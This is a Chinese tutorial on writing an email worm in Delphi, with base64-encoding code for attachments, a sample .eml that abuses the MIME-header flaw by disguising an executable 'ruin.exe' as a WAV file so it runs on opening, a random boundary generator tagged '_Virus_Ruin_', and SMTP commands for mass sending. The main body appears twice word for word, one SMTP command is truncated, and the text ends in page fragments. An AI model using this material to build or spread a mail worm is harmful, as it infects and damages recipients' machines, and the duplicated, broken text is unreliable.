浅谈用delphi来编写蠕虫病毒
不过,我还是会尽可能的使下面的代码简单易懂!
好了,废话少说,我们直接进入正题!
谈到发送信笺,就不能不谈到编码了。现在有很多种编码的方法,不过用得最多的还是base64了,
首先我们来实现base64编码的算法。
base64编码算法的描述如下:它将字符流顺序放入一个 24 位的缓冲区,缺字符的地方补零。
然后将缓冲区截断成为 4 个部分,高位在先,每个部分 6 位,用下面的64个字符重新表示:
“ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/”。
如果输入只有一个或两个字节,那么输出将用等号“=”补足。这可以隔断附加的信息造成编码的混乱。
它每行一般为76个字符。
这个算法很简单,我们直接来看代码:
procedure EncodeBASE64(Dest,Source:string);//这里是用两个字符串作为参数,也就两个文件的路径
const
_Code64: String[64] =(‘ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/‘);
//这里就是base64编码算法的64个字符
crlf=#13#10;
//定义crlf为回车换行
var
s,d:file;
buf1:array[0..2] of byte;
buf2:array[0..3] of char;
llen,len,pad,i:integer;
begin
assignfile(d,dest); //这里是目标文件
rewrite(d,1);
assignfile(s,source);//这里是原始文件
reset(s,1);
pad:=0;
llen:=0;
while (1=1) do
begin
blockread(s,buf1,3,len);if len=0 then break;
if (len<3) then
begin
pad:=3-len;
for i:=len to 2 do
buf1[i]:=0;
end;
buf2[0]:=_Code64[buf1[0] div 4+1];
buf2[1]:=_Code64[(buf1[0] mod 4)*16 + (buf1[1] div 16)+1];
buf2[2]:=_Code64[(buf1[1] mod 16)*4 + (buf1[2] div 64)+1];
buf2[3]:=_Code64[buf1[2] mod 64+1];
//这里进行了编码
if (pad<>0) then
begin
if pad=2 then buf2[2]:=‘=‘;
buf2[3]:=‘=‘;
//输入只有一个或两个字节,那么输出将用等号“=”补足
blockwrite(d,buf2,4);
end
else
begin
blockwrite(d,buf2,4);
end;
inc(llen,4);
if (llen=76) then
begin
blockwrite(d,crlf,2);
//控制每行只写76个字符
llen:=0;
end;
end;
blockwrite(d,crlf,2);
closefile(d);
closefile(s);
end;
这样,我们就完成了base64编码了,我们在发送邮件附件的时候,只需简单的调用这个函数就可以了,
只需要给他传递两个参数,一个是需要编码的文件,另一个就是编码后的文件存放的地方。
下面我们来谈一谈mime漏洞了,其实就是一个编码的问题了.
我们看一段含有mime漏洞的eml文件:
***********************************************************************
From: whaoye@21cn.com //发送人
Subject: SOS //主题
X-Priority: 1 //优先级
Mime-Version: 1.0 //mime版本
Content-Type: multipart/related;boundary="--==I_am_a_script_kid==--" //定义标签一
----==I_am_a_script_kid==--//标签一
Content-Type: multipart/alternative;boundary="--==I_am_a_script_kid_sign_two==--"//定义标签二
----==I_am_a_script_kid_sign_two==-- //标签二
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
----==I_am_a_script_kid==-- //标签一
Content-Type: audio/x-wav;name="ruin.exe"
Content-Transfer-Encoding: base64
Content-ID:
ABCDEF.....//这里编码的内容省略
******************************************************************
在刚才的那封含有mime漏洞的信笺中,我们需要随机的生成标签,这个函数很简单,我就不解释了,
代码如下:
function makeboundary:string;
begin
result:=‘-----=_Virus_Ruin_‘+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10));
end;
下面,我们还需要了解一下几个smtp协议的简单命令:
smtp协议非常简单,是典型的应答式的,
你每发一个命令过去都会有数据回应过来,
一般登陆上去后,我们首先用
HELLO
然后用命令
MAIL FROM: <发送者邮件地址>
然后就用rcpt to命令来告诉服务器,我的这封信笺要发给什么人,
RCPT T <接受信笺的收件人>
一般的服务器一次只接受100封邮件,这点需要留意一下,
如果你的收件人都填写完毕,你就可以发送命令
DATA
表示你要发送邮件的主体了,用一个crlf.crlf表示你的主体发送完毕。
最后用QUIT命令退出会话,关闭连接。
**因为只是浅谈,所以,这里我不涉及Esmtp服务器。**
好了,废话少说,我们直接进入正题!
谈到发送信笺,就不能不谈到编码了。现在有很多种编码的方法,不过用得最多的还是base64了,
首先我们来实现base64编码的算法。
base64编码算法的描述如下:它将字符流顺序放入一个 24 位的缓冲区,缺字符的地方补零。
然后将缓冲区截断成为 4 个部分,高位在先,每个部分 6 位,用下面的64个字符重新表示:
“ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/”。
如果输入只有一个或两个字节,那么输出将用等号“=”补足。这可以隔断附加的信息造成编码的混乱。
它每行一般为76个字符。
这个算法很简单,我们直接来看代码:
procedure EncodeBASE64(Dest,Source:string);//这里是用两个字符串作为参数,也就两个文件的路径
const
_Code64: String[64] =(‘ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/‘);
//这里就是base64编码算法的64个字符
crlf=#13#10;
//定义crlf为回车换行
var
s,d:file;
buf1:array[0..2] of byte;
buf2:array[0..3] of char;
llen,len,pad,i:integer;
begin
assignfile(d,dest); //这里是目标文件
rewrite(d,1);
assignfile(s,source);//这里是原始文件
reset(s,1);
pad:=0;
llen:=0;
while (1=1) do
begin
blockread(s,buf1,3,len);if len=0 then break;
if (len<3) then
begin
pad:=3-len;
for i:=len to 2 do
buf1[i]:=0;
end;
buf2[0]:=_Code64[buf1[0] div 4+1];
buf2[1]:=_Code64[(buf1[0] mod 4)*16 + (buf1[1] div 16)+1];
buf2[2]:=_Code64[(buf1[1] mod 16)*4 + (buf1[2] div 64)+1];
buf2[3]:=_Code64[buf1[2] mod 64+1];
//这里进行了编码
if (pad<>0) then
begin
if pad=2 then buf2[2]:=‘=‘;
buf2[3]:=‘=‘;
//输入只有一个或两个字节,那么输出将用等号“=”补足
blockwrite(d,buf2,4);
end
else
begin
blockwrite(d,buf2,4);
end;
inc(llen,4);
if (llen=76) then
begin
blockwrite(d,crlf,2);
//控制每行只写76个字符
llen:=0;
end;
end;
blockwrite(d,crlf,2);
closefile(d);
closefile(s);
end;
这样,我们就完成了base64编码了,我们在发送邮件附件的时候,只需简单的调用这个函数就可以了,
只需要给他传递两个参数,一个是需要编码的文件,另一个就是编码后的文件存放的地方。
下面我们来谈一谈mime漏洞了,其实就是一个编码的问题了.
我们看一段含有mime漏洞的eml文件:
***********************************************************************
From: whaoye@21cn.com //发送人
Subject: SOS //主题
X-Priority: 1 //优先级
Mime-Version: 1.0 //mime版本
Content-Type: multipart/related;boundary="--==I_am_a_script_kid==--" //定义标签一
----==I_am_a_script_kid==--//标签一
Content-Type: multipart/alternative;boundary="--==I_am_a_script_kid_sign_two==--"//定义标签二
----==I_am_a_script_kid_sign_two==-- //标签二
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
----==I_am_a_script_kid==-- //标签一
Content-Type: audio/x-wav;name="ruin.exe"
Content-Transfer-Encoding: base64
Content-ID:
ABCDEF.....//这里编码的内容省略
******************************************************************
在刚才的那封含有mime漏洞的信笺中,我们需要随机的生成标签,这个函数很简单,我就不解释了,
代码如下:
function makeboundary:string;
begin
result:=‘-----=_Virus_Ruin_‘+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10));
end;
下面,我们还需要了解一下几个smtp协议的简单命令:
smtp协议非常简单,是典型的应答式的,
你每发一个命令过去都会有数据回应过来,
一般登陆上去后,我们首先用
HELLO
然后用命令
MAIL FROM: <发送者邮件地址>
然后就用rcpt to命令来告诉服务器,我的这封信笺要发给什么人,
RCPT T <接受信笺的收件人>
一般的服务器一次只接受100封邮件,这点需要留意一下,
如果你的收件人都填写完毕,你就可以发送命令
DATA
表示你要发送邮件的主体了,用一个crlf.crlf表示你的主体发送完毕。
最后用QUIT命令退出会话,关闭连接。
**因为只是浅谈,所以,这里我不涉及Esmtp服务器。**
0
相关文章